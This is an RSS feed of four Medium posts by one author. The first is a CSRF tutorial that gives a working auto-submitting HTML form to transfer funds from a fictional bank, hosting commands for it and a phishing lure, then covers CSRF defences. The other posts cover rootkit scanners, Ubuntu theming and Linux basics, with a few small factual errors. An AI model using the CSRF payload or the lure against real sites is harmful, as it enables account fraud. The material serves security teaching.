<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Khaled Naleem on Medium]]></title>
        <description><![CDATA[Stories by Khaled Naleem on Medium]]></description>
        <link>https://medium.com/@haidartalksIT?source=rss-29adb88cc96------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6YipQwY8Rb8R2eNwWZJSLg.png</url>
            <title>Stories by Khaled Naleem on Medium</title>
            <link>https://medium.com/@haidartalksIT?source=rss-29adb88cc96------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:55:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@haidartalksIT/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CSRF Attacks Demystified: A Real-World Scenario with an Attacker’s POV]]></title>
            <link>https://medium.com/@haidartalksIT/csrf-attacks-demystified-a-real-world-scenario-with-an-attackers-pov-f661e6c3f29c?source=rss-29adb88cc96------2</link>
            <guid isPermaLink="false">https://medium.com/p/f661e6c3f29c</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Khaled Naleem]]></dc:creator>
            <pubDate>Sat, 30 Nov 2024 15:17:47 GMT</pubDate>
            <atom:updated>2024-11-30T15:17:47.046Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TyD5if1Ke0RMHRvmgdGqnQ.png" /></figure><p><em>Cross-Site Request Forgery (CSRF) attacks are sneaky and impactful. To truly grasp their mechanics, let’s walk through a </em><strong><em>real-world example scenario</em></strong><em> from both the victim’s and the attacker’s perspectives. Along the way, we’ll include actionable steps and tools like Burp Suite to show how attackers craft and execute these exploits.</em></p><h4>The Scenario: A Banking Application</h4><p>The Setup</p><p>Imagine a banking application (<em>banksecure.com</em>) where users can transfer funds using an authenticated session. The request to transfer funds looks like this:</p><pre>POST /transfer HTTP/1.1<br>Host: banksecure.com  <br>Cookie: session=abcd1234  <br>Content-Type: application/x-www-form-urlencoded  <br><br>account=123456789&amp;amount=1000</pre><p>The application uses cookies to authenticate users but doesn’t validate the origin of the request. This makes it vulnerable to CSRF.</p><h4>Attacker’s Perspective: Crafting the Exploit</h4><p>&gt; The attacker’s goal is to trick an authenticated user into transferring money to the attacker’s account (<em>987654321</em>). Here&#39;s how they carry out the attack:</p><ol><li><strong>Understanding the Request</strong></li></ol><p>&gt; Using <strong>Burp Suite</strong>, the attacker intercepts a legitimate transfer request:</p><ol><li>Open Burp Suite.</li><li>Configure the browser to use Burp as a proxy.</li><li>Log in to <em>banksecure.com</em> and initiate a transfer request.</li><li>In Burp’s Proxy tab, intercept and analyze the request:</li></ol><pre>POST /transfer HTTP/1.1  <br>Host: banksecure.com  <br>Cookie: session=abcd1234  <br>Content-Type: application/x-www-form-urlencoded  <br><br>account=123456789&amp;amount=1000</pre><p>&gt; The attacker notes the request structure and identifies the parameters (<em>account </em>and <em>amount</em>).</p><p><strong>2. Creating the Malicious Payload</strong></p><p>&gt; The attacker now crafts an HTML page that sends a malicious request to transfer money to their account:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body&gt;<br>  &lt;form action=&quot;http://banksecure.com/transfer&quot; method=&quot;POST&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;account&quot; value=&quot;987654321&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;amount&quot; value=&quot;5000&quot;&gt;<br>  &lt;/form&gt;<br>  &lt;script&gt;<br>    document.forms[0].submit();<br>  &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>&gt; This form is auto-submitted when the victim loads the page.</p><p><strong>3. Hosting the Payload</strong></p><p>&gt; The attacker hosts the malicious HTML page on a server:</p><pre># Using Python&#39;s SimpleHTTPServer to host the payload<br>mkdir csrf_payload<br>cd csrf_payload<br>echo &quot;&lt;HTML content above&gt;&quot; &gt; index.html<br>python3 -m http.server 8080</pre><p>&gt; Now, the payload is accessible at <em>http://attacker.com:8080</em>.</p><p><strong>4. Luring the Victim</strong></p><p>The attacker sends a phishing email to the victim:</p><pre>Subject: Important Update on Your Account<br>&quot;Hi, click here to review your recent transactions.&quot;</pre><p>&gt; When the victim clicks the link while logged into <em>banksecure.com</em>, the form auto-submits, transferring $5000 to the attacker’s account.</p><h4>Victim’s Perspective: Falling for the Trap</h4><p>&gt; The victim, while authenticated on <em>banksecure.com</em>, innocently clicks the phishing link. The browser sends the malicious request, including the session cookie for authentication.</p><p>&gt; The server processes the request as if the victim had initiated it:</p><pre>POST /transfer HTTP/1.1  <br>Host: banksecure.com  <br>Cookie: session=abcd1234  <br>Content-Type: application/x-www-form-urlencoded  <br><br>account=987654321&amp;amount=5000</pre><p>&gt; The money is transferred without the victim’s knowledge.</p><h4>How to Detect and Prevent CSRF Attacks?</h4><p><strong>From the Developer’s Perspective:</strong></p><ol><li><strong>CSRF Tokens</strong><br>&gt; Add a unique CSRF token to each form and validate it server-side:</li></ol><pre>&lt;form action=&quot;/transfer&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;random_generated_token&quot;&gt;<br>  &lt;input type=&quot;text&quot; name=&quot;account&quot;&gt;<br>  &lt;input type=&quot;text&quot; name=&quot;amount&quot;&gt;<br>  &lt;button type=&quot;submit&quot;&gt;Transfer&lt;/button&gt;<br>&lt;/form&gt;</pre><p>2. <strong>SameSite Cookies</strong><br> &gt; Set cookies to SameSite to prevent them from being sent with cross-origin requests:</p><pre>Set-Cookie: session=abcd1234; HttpOnly; Secure; SameSite=Strict</pre><p>3. <strong>Referrer Validation</strong><br> &gt; Check the Referer or Origin headers to ensure requests originate from trusted domains:</p><pre>def validate_request(request):<br>    if request.headers.get(&#39;Origin&#39;) != &#39;https://banksecure.com&#39;:<br>        return &quot;Invalid request&quot;, 403</pre><p><strong>From a Security Researcher’s Perspective:</strong></p><blockquote>Tools like <strong>Burp Suite</strong> or <strong>OWASP ZAP</strong> can help identify CSRF vulnerabilities:</blockquote><ol><li><strong>Scan for Missing CSRF Tokens</strong></li></ol><p>&gt; Use Burp Suite’s Scanner module to detect forms or requests lacking CSRF tokens.</p><p>2. <strong>Simulate Attacks</strong></p><p>&gt; Craft and test payloads to verify if the application processes unauthorized actions.</p><p>3. <strong>Monitor Server Logs</strong></p><p>&gt; Look for unusual patterns in logs, such as multiple similar requests from the same user.</p><p>CSRF attacks exploit trust in web applications to perform unauthorized actions on behalf of users. By stepping into the attacker’s shoes, we see how simple but devastating these attacks can be.</p><p>The key to defending against CSRF lies in proactive measures like CSRF tokens, SameSite cookies, and strict validation. Whether you’re a developer or a security researcher, understanding and mitigating CSRF vulnerabilities is critical to safeguarding user trust and system integrity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f661e6c3f29c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rootkits — RKhunter & Chkrootkit]]></title>
            <link>https://medium.com/@haidartalksIT/rootkits-rkhunter-chkrootkit-eb387bd959f5?source=rss-29adb88cc96------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb387bd959f5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[informat]]></category>
            <category><![CDATA[virus]]></category>
            <dc:creator><![CDATA[Khaled Naleem]]></dc:creator>
            <pubDate>Tue, 16 Nov 2021 11:20:26 GMT</pubDate>
            <atom:updated>2021-11-17T02:28:31.867Z</atom:updated>
            <content:encoded><![CDATA[<h3>Rootkits — RKhunter &amp; Chkrootkit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZP96PZL-fpYZAK112-L3w.png" /></figure><p>A common myth is that Linux Operating Systems are completely safe from viruses, which is not true. Linux systems have very less chances of being infected when compared to Windows or MacOS, which are very vulnerable to viruses. But that doesn’t mean that Linux systems are completely safe from viruses.</p><p>Most of the people who start off with Cyber Security focus more on attacking other computer systems than protecting their own systems. Rootkits with bad intentions can affect our system or our privacy.</p><p><strong>A </strong>rootkit is a malicious software that allows an unauthorized user to get access to a system and to its restricted software. These rootkits may contain keyloggers, credential stealers etc.</p><p>A rootkit is the combination of the words “root” and “kit”. Root refers to the account with administrative privileges over the system. Kit refers to the code/program which helps the attacker gain unauthorized access to the system.</p><p>There are various open-source software to prevent our systems from rootkits. But two of the most common rootkit detection softwares in Linux are :</p><blockquote><strong>chkrootkit</strong></blockquote><blockquote><strong>rkhunter</strong></blockquote><h3><strong>Chkrootkit</strong></h3><p><strong>chkrootkit is a common Unix-based program intended to help system administrators check their system for known rootkits. It is a shell script which checks system binaries for rootkit modification. This tool is used for scanning botnets, rootkits, malware, etc.</strong></p><p>To install chkrootkit on your Linux system:</p><pre><strong>$ sudo apt install chkrootkit</strong></pre><p>When you get started with a new tool, it is always best to refer to the help section of the tool. Type:</p><pre><strong>$ chkrootkit -h</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*paEI_6VUv3APmr4yu4agMQ.png" /><figcaption>chkrootkit -h</figcaption></figure><p>Now, to check your system for rootkits, type:</p><pre><strong>$ chkrootkit</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U452mVT6AiGROp1qAjIE9A.png" /></figure><p>If you are not logged in with your root account you may be prompted to scan with root permissions. Simply type:</p><pre><strong>$ sudo chkrootkit</strong></pre><p>The tool will begin scanning your system for any hidden rootkits. Especially, it will scan third-party programs which are installed on your system.</p><p><strong>“chkrootkit”</strong> is pre-installed on Kali Linux.</p><blockquote><strong>Did you know : Chkrootkit is listed in the &quot;Top 100 Network Security Tools&quot; survey, 2006 edition, released by Insecure.Org.</strong></blockquote><h4>Rkhunter</h4><p><a href="https://www.kali.org/tools/rkhunter/"><strong>Rkhunter </strong></a>(Rootkit Hunter) is a Linux/Unix based tool to scan possible rootkits, backdoors and local exploits.</p><p>This tool compares SHA-1 hashes for important files with the known good files in an online database, searching for default directories (of rootkits), wrong permissions, hidden files, suspicious strings in kernel modules, and special tests for Linux and FreeBSD. <strong>rkhunter </strong>is notable due to its inclusion in popular operating systems like Fedora, Debian, etc.</p><p>rkhunter is most popular compared to chkrootkit because of it large database when compared chkrootkit which is a pretty much old tool. rkhunter databases update very frequently with every new rootkits that are found, which makes it more powerful to detect newer rootkits.</p><p>To install rkhunter, simply type:</p><pre><strong>$ sudo apt install rkhunter</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jnb7Z2lTYhXcmWVliKtzUg.png" /><figcaption>sudo apt install rkhunter</figcaption></figure><p>Once it is installed, typing rkhunter in the terminal will give you a list of options that you can use with rkhunter. Unlike chkrootkit it doesn’t start scanning right away.</p><p>To run a scan:</p><pre><strong>rkhunter -c </strong></pre><p>or</p><pre><strong>rkhunter --check</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLGsGmbI2Xu6qXCf4HQe_A.png" /></figure><p>This will begin the scan. Once it checks your file properties, you will be prompted to press Enter to start checking for rootkits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqQEswbKJKo-iWSIMk1ZcQ.png" /></figure><p>As you can see in the above screenshot, it began scanning the system to identify some commonly known rootkits and some that are new to us. This is what makes rkhunter special.</p><p>Once the whole scan is done, rkhunter gives you a small summary at the end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ti_dwp9uRL_ZKLzDDKYZyg.png" /><figcaption>Summary</figcaption></figure><p>The above summary helps you read through how many rootkits it may have found, the number of suspicious files, etc.</p><p>As you can see in the screenshot above [summary] It has detected 1 suspicious file and 4 possible rootkits. But that’s not much of an information. We need to know the exact details. As you can see, <strong>rkhunter </strong>also creates a log file for us with a detailed report of the scan which can be found in the /var directory.</p><p>To read that file:</p><pre><strong>pico /var/log/rkhunter.log</strong></pre><p>This displays the detailed report in your terminal using nano editor. Here you can go through the report and find the issues in order to take an action.</p><p>That’s pretty much about Rootkits and Rootkit detection tools. If you want to learn much deeper about rootkits, always remember, Google is your best friend 😉.</p><p>There are other antivirus softwares for Linux such as:</p><blockquote><strong>• ClamAV</strong></blockquote><blockquote><strong>• ClamTk</strong></blockquote><p>….and more.</p><h4>Thank you!</h4><h4>Follow for more on Linux and Windows Administration.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb387bd959f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Customizing Ubuntu 20.04]]></title>
            <link>https://medium.com/@haidartalksIT/customizing-ubuntu-20-04-52af11f91c89?source=rss-29adb88cc96------2</link>
            <guid isPermaLink="false">https://medium.com/p/52af11f91c89</guid>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[information-technology]]></category>
            <dc:creator><![CDATA[Khaled Naleem]]></dc:creator>
            <pubDate>Tue, 16 Nov 2021 04:54:01 GMT</pubDate>
            <atom:updated>2021-11-16T05:05:35.414Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mujhnwFDigVL3NQihzclWg.png" /></figure><p>In my previous article, I had explained some basics of Linux and how you can install Ubuntu — a most commonly used beginner friendly Linux distribution. But most people aren’t fond of the default UI that comes with Ubuntu.</p><p>In this article, let me explain on how to customize Ubuntu to make it look quite aesthetic. For this, we will be using a 2 main tools that are supported by Gnome:</p><blockquote><strong>1. Dconf-editor</strong></blockquote><blockquote><strong>2. Gnome-Tweaks Tool</strong></blockquote><p>Now let’s begin customizing.</p><p>First, let’s install the 2 main tools with simply 2 commands:</p><blockquote><strong>sudo apt install dconf-editor</strong></blockquote><blockquote><strong>sudo apt install gnome-tweaks</strong></blockquote><p>First, let’s work on the centered dock. open <strong>Dconf-editor</strong> — navigate to: <strong>org/gnome/shell/extensions/dash-to-dock</strong> — in the search bar, search for the <strong>extend-height</strong> attribute and set it to <strong>false</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*qM6VdbhkpaALy2VVFeDrDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*xeTm2RzuQyGNhRAL9HlqqA.png" /><figcaption>locate the extend-height attribute and set it to false.</figcaption></figure><p>Now open your settings app and navigate to <strong>appearence &gt; dock &gt; position on screen &gt; bottom.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-_PNIS5IRXE_qIdPmqVLw.png" /><figcaption>Choose “bottom” under position on screen.</figcaption></figure><p>Next up, fire up your browser and visit <a href="https://draculatheme.com/gtk"><strong>https://draculatheme.com/gtk</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YpYvr6_y9ybLJvi9nQsZug.png" /><figcaption><a href="https://draculatheme.com/gtk">https://draculatheme.com/gtk</a></figcaption></figure><p>Now scroll down and <a href="https://github.com/dracula/gtk/archive/master.zip"><strong>download</strong></a> the zip file from Github.</p><p>Once file has been downloaded, open your file manager and unzip the folder. Now, open your terminal and type in this command:</p><blockquote><strong>sudo nautilus</strong></blockquote><p>…this command opens the file manager with root permissions.</p><p>Now click on <strong>“other locations &gt; computer “</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZRH6z3W7bZHA8qb0qMOyUw.jpeg" /></figure><p>Now browse your way to <strong>“usr/share/”</strong> and locate the <strong>“themes”</strong> folder. Open the folder and move the unzipped dracula theme folder in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7opsu5xD4WC9RrXGLczbeA.jpeg" /><figcaption>Locate the Themes folder in “usr/share/”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*38QOdWADy-4-pLk5Z_OGEQ.jpeg" /><figcaption>Move the downloaded folder into the Themes folder.</figcaption></figure><p>Now open your Gnome tweaks tool from your <strong>applications menu &gt; click appearence &gt; theme &gt; GTK-Default</strong></p><p>Done! Now you have applied the Dracula theme across your Ubuntu system.</p><p>Let’s customize the Icons now. The icons i use are called <strong>“Papirus”</strong> and it looks like this 👇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jFaH0Zso5DYX-BQiodIMPw.png" /><figcaption>Papirus icons</figcaption></figure><p>To download the icons, visit : <a href="https://www.pling.com/p/1166289/"><strong>https://www.pling.com/p/1166289/</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zn4wGEuqmF0OKzI4VF0fdQ.png" /></figure><p>Download the zip file, navigate through your file explorer and unzip the downloaded file.</p><p>Go back to your root file manager and locate the icons folder in the <strong>“usr/share/”</strong> directory,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrjjCKeY-e_S-o7ItMERCw.jpeg" /><figcaption>icons folder in “usr/share/” directory</figcaption></figure><p>Move the unzipped papirus folder into your icons folder. Go back to your tweaks tool and under <strong>appearence &gt; icons &gt; choose the papirus icons.</strong></p><p><strong>Voila!</strong> There you have it. You have successfully customized your Ubuntu System. It should now look something like this 👇,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svdGc08sL0h1FEWzJ2shIQ.png" /></figure><p>The wallpaper used in the screenshot above was downloaded from <a href="https://unsplash.com/photos/l7R85WBKl1c"><strong>Unsplash</strong></a><strong>.</strong></p><blockquote>***NOTE — ALL THE SCREENSHOTS IN THIS ARTICLE ARE CAPTURED FROM MY UBUNTU SYSTEM WHICH ARE CONFIGURED WITH THE <strong>DRACULA THEME, </strong>WHICH WILL BE THE THEME THAT WE DISCUSS ABOUT TODAY.***</blockquote><h4>Thanks for reading!</h4><h4>Follow for more on Linux and Windows Administration.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52af11f91c89" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ubuntu 20.04 for beginners.]]></title>
            <link>https://medium.com/@haidartalksIT/ubuntu-20-04-for-beginners-5e52025e5fe7?source=rss-29adb88cc96------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e52025e5fe7</guid>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[system]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <dc:creator><![CDATA[Khaled Naleem]]></dc:creator>
            <pubDate>Mon, 15 Nov 2021 11:44:52 GMT</pubDate>
            <atom:updated>2021-11-16T05:00:12.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cC7I8AOPNIncLsJHGgJApg.png" /></figure><p>Ubuntu is by no doubt one of the best Linux Distributions. It is considered one of the go-to Linux Distributions for beginners due to it’s user-friendly UI and simplicity. But users who have been using Windows for ages, can still find Ubuntu a little complex when it comes to using the terminal and other features of Linux.</p><h4>Let’s start off with the basics.</h4><blockquote><strong>Directories in Linux.</strong></blockquote><p>There are a few main partitions or directories in Linux you need to know. before we begin, remember this — EVERYTHING IN LINUX IS A FILE. Now let’s dive into the files system [Note — All the directories explained here are system level directories. Most of these directories can also be found in the user directory, which are specific to that user.] :</p><ol><li><strong>/bin </strong>— also known as Binaries. This directory contains all your command binaries. (example : ls, cd, cat, etc)</li><li><strong>/sbin </strong>— contains all the binaries for commands that are used by the administrators, for administration purposes. (example : adduser, mkswap, etc) These commands require root/superuser privileges, about which we will be learning later on this article.</li><li><strong>/usr</strong> — This is the user directory(Just like the user directory in Windows). This contains all the files and folders relevant to the particular user.</li><li><strong>/boot</strong> — This directory contains all the boot files.</li><li><strong>/var</strong> — Contains log files/ web application related files.</li><li><strong>/tmp </strong>— also known as temp. It stores all the temporary files that usually go away after a reboot.</li><li><strong>/lib</strong> — or Shared Library files. It specifically contains files that your system needs to boot.</li><li><strong>/dev</strong> — also stands for Devices. Contains all the files for all the devices connected to your system. (Every device on your system is considered a file. Your printer, scanner, etc are all considered as files in Linux)</li><li><strong>/home </strong>— This is basically where all the users on your system lives. This directory may require a significant amount of space on your Hard Disk when u partition it manually.</li><li><strong>/etc </strong>— This is one of the most important directories(well, pretty much every directory in Linux is considered important….😁). This directory can be known as the etcetera directory. But people in the Linux world usually refer to it as the etsy directory. This directory contains all the configuration files which can be edited by hand in a text editor. Remember that /etc/ contains all the system-wide config files — user-specific config files can be found in the user’s home directory.</li><li><strong>/root</strong> — This is the top-most directory in a hierarchy. The root file system is the file system contained on the same disk partition on which the root directory is stored; it is the file system on top of which all other file systems are mounted as the system boots up.</li></ol><p>These are pretty much the most important directories you need to know in order to get started with using Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLxA4DMAERSbAktmF1iOQQ.png" /><figcaption>The Home Directory in Linux.</figcaption></figure><h3><strong>Basic Linux Commands</strong></h3><blockquote><strong>‘ls’ command</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdaZ70t4XPj7qEdgQsaOdw.png" /><figcaption>The ‘ls’ command</figcaption></figure><p>The ‘ls’ command is basically a list files command. It displays all the files/folders in the directory.</p><blockquote><strong>‘cp’ and ‘rm’ commands</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9gY3n1_64K7PCCaae6hrg.png" /><figcaption>The ‘cp’ command</figcaption></figure><p>The<strong> ‘cp’ </strong>command copies a file or folder into a desired file or folder. In the example above, the <strong>‘cp’</strong> command copies the<strong> ‘a.txt’</strong> file and pastes it into the <strong>‘b.txt’</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLIIgmFt5yohZJGG4ljtvA.png" /><figcaption>The ‘rm’ command</figcaption></figure><p>The ‘rm’ command removes the file or folder.</p><blockquote><strong>‘cat’ command</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REYIi6V7_Ta6v73Hh43VXw.png" /><figcaption>The ‘cat’ command reads and prints everything inside a file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpnBOiX3Cn197meNtt5cGg.png" /><figcaption>The original text in the file on a file editor.</figcaption></figure><blockquote><strong>Two most Important commands in Linux</strong></blockquote><h4><strong><em>sudo apt install update &amp;&amp; sudo apt install upgrade</em></strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJWZdzdKinZ21zWvSMU1gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1F1H22Yh8LRzok_CTzoubg.png" /><figcaption>sudo apt install update &amp;&amp; upgrade</figcaption></figure><p>These are some of the most commonly used Linux Commands. But there is a wide range commands in Linux.</p><p>Some of the most common commands:</p><ul><li><strong>chmod </strong>— used to change the access permissions of file system objects sometimes known as modes.</li><li><strong>netstat </strong>— displays network connections for Transmission Control Protocol, routing tables, and a number of network interface and network protocol statistics.</li><li><strong>nslookup </strong>— a network administration command-line tool for querying the Domain Name System to obtain the mapping between domain name and IP address, or other DNS records.</li><li><strong>grep </strong>— a command-line utility for searching plain-text data sets for lines that match a regular expression.</li><li><strong>df </strong>— df is a standard Unix command used to display the amount of available disk space for file systems on which the invoking user has appropriate read access.</li><li><strong>ping </strong>— a computer network administration software utility used to test the reachability of a host on an Internet Protocol network.</li><li><strong>gzip </strong>— a file format and a software application used for file compression and decompression.</li><li><strong>find </strong>— ind is a command-line utility that locates files based on some user-specified criteria and either prints the pathname of each matched object or, if another action is requested, performs that action on each matched object.</li><li><strong>locate </strong>— locate a file or folder.</li><li><strong>ifconfig </strong>— a system administration utility in Unix-like operating systems for network interface configuration.</li><li><strong>mkdir </strong>— a command in the Unix, DOS, DR FlexOS, IBM OS/2, Microsoft Windows, and ReactOS operating systems is used to make a new directory.</li><li><strong>whoami </strong>— It is a concatenation of the words “Who am I?” and prints the effective username of the current user when invoked.</li><li><strong>dpkg </strong>— dpkg is used to install, remove, and provide information about .deb packages. dpkg itself is a low-level tool.</li><li><strong>rmdir </strong>— a command which will remove an empty directory on various operating systems.</li><li><strong>fdisk </strong>— The fdisk command-line utility provides disk-partitioning functions, preparatory to defining file systems.</li><li><strong>chroot </strong>— A chroot on Unix operating systems is an operation that changes the apparent root directory for the current running process and its children.</li><li><strong>demsg </strong>—a command on most Unix-like operating systems that prints the message buffer of the kernel.</li><li><strong>passwd </strong>— passwd is a command on Unix, Plan 9, Inferno, and most Unix-like operating systems used to change a user’s password.</li><li><strong>echo </strong>— echo is a command that outputs the strings that are passed to it as arguments.</li></ul><p>……and many more commands.</p><p>This is pretty much an introduction that you need to now before you start using Linux Operating systems.</p><p>Now let’s look into how we can install a Linux Distribution. In this example we will install Ubuntu on Virtualbox.</p><blockquote><strong>Why Virtualbox?</strong></blockquote><ul><li>For beginners, I recommend using a Linux OS on a virtual machine, because it helps you explore the OS without damaging your host. Once you get familiar with the OS, you can carry on with installing it alongside your Windows/MacOS, or replace your current OS with it.</li></ul><blockquote><strong>Installing Virtualbox</strong></blockquote><ol><li>Visit <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> and download the latest version of Virtualbox.</li><li>Run the downloaded file and install it on your system.</li></ol><blockquote><strong>Downloading &amp; installing Ubuntu</strong></blockquote><ol><li>Visit : <a href="https://ubuntu.com/download/desktop">https://ubuntu.com/download/desktop</a> and download your preferred version of Ubuntu. It’s better to download the LTS version.</li><li>Open Virtualbox &gt; click new &gt; and type in the name of the OS you’re using. Click Next.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*bT5sNU68SzOmv19DnibpIQ.jpeg" /></figure><p>Allocate the size of memory you want to give the virtual machine. For Ubuntu, at least 2GB is recommended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*yO1Hq8hqp6ro0wk5rA8DXw.png" /></figure><p>Click on Create a Virtual Hard Disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*1Gn-eEe2-Wulf77aLVDbYg.png" /></figure><p>Next click VDI(Virtual Disk Image), this is more recommended than VHD or VMDK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*5SbXmdwRZ5TOHLKthxjlhA.png" /></figure><p>Next you can choose Dynamically allocated or Fixed Size. I always go with Dynamically Allocated than Fixed Size. You can choose what suits you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*E2wKvuq--dBlkJqH2e3nRw.png" /></figure><p>Now allocate the size for the Virtual disk. It’s always recommended to allocate more than 20GB if you are planning on installing apps and other features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*0KZpL4WtB8rdfosPCeBikQ.jpeg" /></figure><p>Click on Create.</p><p>Now click on start machine or symbolized with the green arrow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*u7A8kA6K0AbeKPBjzVltrQ.jpeg" /></figure><p>On the prompt screen, click on the browse icon (indicated by the red circle).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*7LQyywX7wql-3iU4-KFbEw.png" /></figure><p>Now click on the ‘Add’ option and when choose the downloaded Ubuntu iso file from your file explorer and start your machine.</p><p>Once Ubuntu loads, go through the setup and install Ubuntu.</p><p>There you have it! You have successfully installed Ubuntu on a Virtual Machine. Now explore the OS and play around with the settings and the terminal with all the commands and try to familiarize yourself with the OS.</p><h4><strong>Thank you for reading.</strong></h4><h4>Follow for more articles on Linux and Windows Administration.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e52025e5fe7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>